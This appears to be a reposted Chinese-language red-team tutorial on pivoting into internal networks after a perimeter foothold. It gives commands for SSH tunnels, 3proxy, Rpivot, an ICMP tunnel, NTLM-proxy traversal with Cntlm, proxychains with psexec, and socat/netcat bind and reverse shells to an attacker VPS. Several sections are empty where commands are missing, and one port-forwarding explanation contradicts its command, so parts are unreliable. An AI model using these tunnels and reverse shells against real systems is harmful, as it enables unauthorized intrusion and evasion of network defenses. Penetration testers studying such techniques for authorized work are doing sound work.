穿越邊界的姿勢
在企業安全對抗中,紅方攻擊團隊經常會遇到這種情況,在企業的網路邊界上獲取到部分許可權,比如一個web伺服器的webshell,然而如何更方便的進行下一步的滲透呢?如何對內網進行滲透測試,這時就需要隧道轉發技術,穿透邊界防火牆、安全代理等安全裝置,進行深層次的安全測試。本文的主要內容是穿透內網的各種姿勢。
典型的邊界網路架構圖
利用ssh建立隧道
動態埠轉發
原理:建立一個動態的SOCKS4/5的代理通道,緊接著的是本地監聽的埠號;動態埠轉發是建立一個ssh加密的SOCKS4/5代理通道,任何支援SOCKS4/5協議的程式都可以使用這個加密的通道來進行代理訪問。
本地執行命令:
ssh -D 1080 root@106.22.50.48
效果:本地監聽1080埠,我們可以使用具有socks埠功能的應用,可以通過代理:127.0.0.1:1080上網,如果非要在目標內網使用,
可以在server B上執行:
ssh -D 1080 root@10.3.1.6
這樣我們就可以通過server B的1080埠訪問辦公網的資源。如果serverB的ssh可以訪問,
可以在本地執行:
ssh -D 1080 root@222.222.222.223
這樣我們就可以通過本地127.0.0.1:1080訪問目標內網資源。
本地埠轉發
原理:將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠;本地埠轉發是在localhost上監聽一個埠,所有訪問這個埠的資料都會通過ssh 隧道傳輸到遠端的對應埠。
在serverB上執行:
ssh -L 7001:localhost:7070 root@106.22.50.48
作用:serverB監聽7001埠,並將7001埠的資料轉發到vps的7070埠
利用:在serverB上執行一個socks代理,代理埠設定為7001,這樣再執行上面的命令,這樣我們就相當於建立了一個socks5隧道。
遠端埠轉發
原理:將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠;遠端埠轉發是在遠端主機上監聽一個埠,所有訪問遠端伺服器的指定埠的資料都會通過ssh 隧道傳輸到本地的對應埠。
在serverB上執行:
localhost: ssh -R 1433:localhost:7070 root@10.3.1.6
作用:將10.3.1.6的3306埠轉發到serverB的7070埠,這樣我們在訪問serverB的7070埠時,其實訪問到的是10.3.1.6的3306埠。
使用3proxy建立隧道
簡介
工具地址: https://github.com/z3APA3A/3proxy/releases
3proxy是一個由俄羅斯人開發的多平臺代理軟體,支援http/https/ftp/socks4/socks5/socks4a/socks5a等多種代理方式。
利用方式:
windows:3proxy.exe config_file
linux:./3proxy config_file
這個工具的使用主要是修改配置檔案。
建立socks代理
配置如下:
#!/usr/local/bin/3proxy
socks -p1080
作用:新建一個socks代理,監聽1080埠
實現埠轉發
配置如下:
#!/usr/local/bin/3proxy
tcppm 1080 106.22.50.48 7070
作用:將本地的1080埠轉發到vps的7070埠
其他功能大家可以自行學習。
使用plink實現埠轉發
plink的使用跟ssh類似,只是plink是在windows下執行的。
使用Rpivot做反向代理
工具地址:https://github.com/artkond/rpivot
利用方式:
vps:
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0
作用:在vps上新建一個socks4代理在1080埠,監聽9999埠
serverB:
python client.py --server-ip 106.22.50.48 --server-port 9999
作用:連線vps的9999埠,我們可以通過vps的1080埠訪問目標內網。
建立ICMP隧道
工具地址:http://code.gerade.org/hans/
在serverB上下載編譯
用root執行:
1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
2 ./hans -s 222.222.222.223 -p password
在本地執行:
./hans -f -c 222.222.222.223 -p password -v
會返回一個shell
穿透代理伺服器
條件:serverB需要通過serverA這個代理伺服器上外網,且代理伺服器的認證是需要域認證
Rpivot
可以使用下面的命令實現穿透:
如果獲取到的使用者密碼是個Hash,解不出來的情況下:
Cntlm
工具地址:http://cntlm.sourceforge.net/
原理:通過內網ntlm認證代理將遠端務器的埠轉發到本地。
使用方式,在serverB上執行:
windows: cntlm.exe -c config.conf
linux:./cntlm -c config.conf
配置檔案樣例:
作用:內網伺服器訪問serverB的2222埠,也就是訪問到vps的443埠。
通過socks代理訪問內網
proxychains
假設代理伺服器地址是:222.222.222.223:1080
修改配置檔案,將代理地址設定為代理伺服器的地址如下:
vim /etc/proxychains.conf
socks5 222.222.222.223 1080
使用方法:
proxychains psexec.py administrator@10.2.2.2 ipconfig
proxifier
圖形化工具,大家自行測試
獲取一個shell視窗
Python PTY shell
使用nc在vps上用監聽4444埠:
nc -vv -l -p 4444
在serverB上執行:
socat
正向shell
vps上執行監聽1337埠:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
在serverB上執行:
socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337
反向shell
vps上執行監聽1337:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
在serverB上執行:
socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
總結
大千世界無奇不有,企業架構各有不同。不同的網路環境需要不同的技術支撐,只有瞭解足夠多的技術才能應對不同的情況,具體情況具體對待,相信作為安全測試工程師對於這些技術都不陌生,這裡只是做個簡單介紹,內容來源:https://artkond.com/2017/03/23/pivoting-guide/,想看英文原版的請點選原文連結。
相關文章
- 借AI之勢,打破創意與想象的邊界AI
- BeautifulSoup的使用姿勢
- 《超越邊界》
- 二分查詢左邊界,右邊界,>=,>,<=,<
- 【研究報告】三大趨勢,揭示微信小程式的邊界微信小程式
- IPS BYPASS姿勢
- 《穿越火線》釋出新文創計劃:數字化方式拓寬軍事文化傳播邊界
- 【AutoCAD .NET】如何在無邊界Hatch上選擇邊界點?
- 刷LeetCode的簡易姿勢LeetCode
- git commit 的正確姿勢GitMIT
- 微服務劃分的姿勢微服務
- PTH的幾種食用姿勢
- TiDB 的正確使用姿勢TiDB
- Redis的正確使用姿勢Redis
- 聊聊javascript事件的使用姿勢JavaScript事件
- Vue-router的使用姿勢Vue
- 關於運營邊界的思考
- ConfigurationManager姿勢快閃
- 探索Bitmap使用姿勢
- 功能開發的測試姿勢
- Go的優雅終止姿勢Go
- laravel 使用 es 的正確姿勢Laravel
- 使用列舉的正確姿勢
- 玩轉 Ceph 的正確姿勢
- Guava Cache使用的三種姿勢Guava
- npm換源的幾種姿勢NPM
- Python爬蟲的N種姿勢Python爬蟲
- 提意見的正確"姿勢"
- 開啟Git的正確姿勢Git
- Web安全的三個攻防姿勢Web
- 使用快取的正確姿勢快取
- 擼.NET Core的正確姿勢
- 【二分】【邊界判定】
- AUTOCAD——快速提取邊界線
- 絕對值邊界法
- React 錯誤邊界元件React元件
- 寫網路爬蟲的法律邊界爬蟲
- 無邊界網路的劃分建立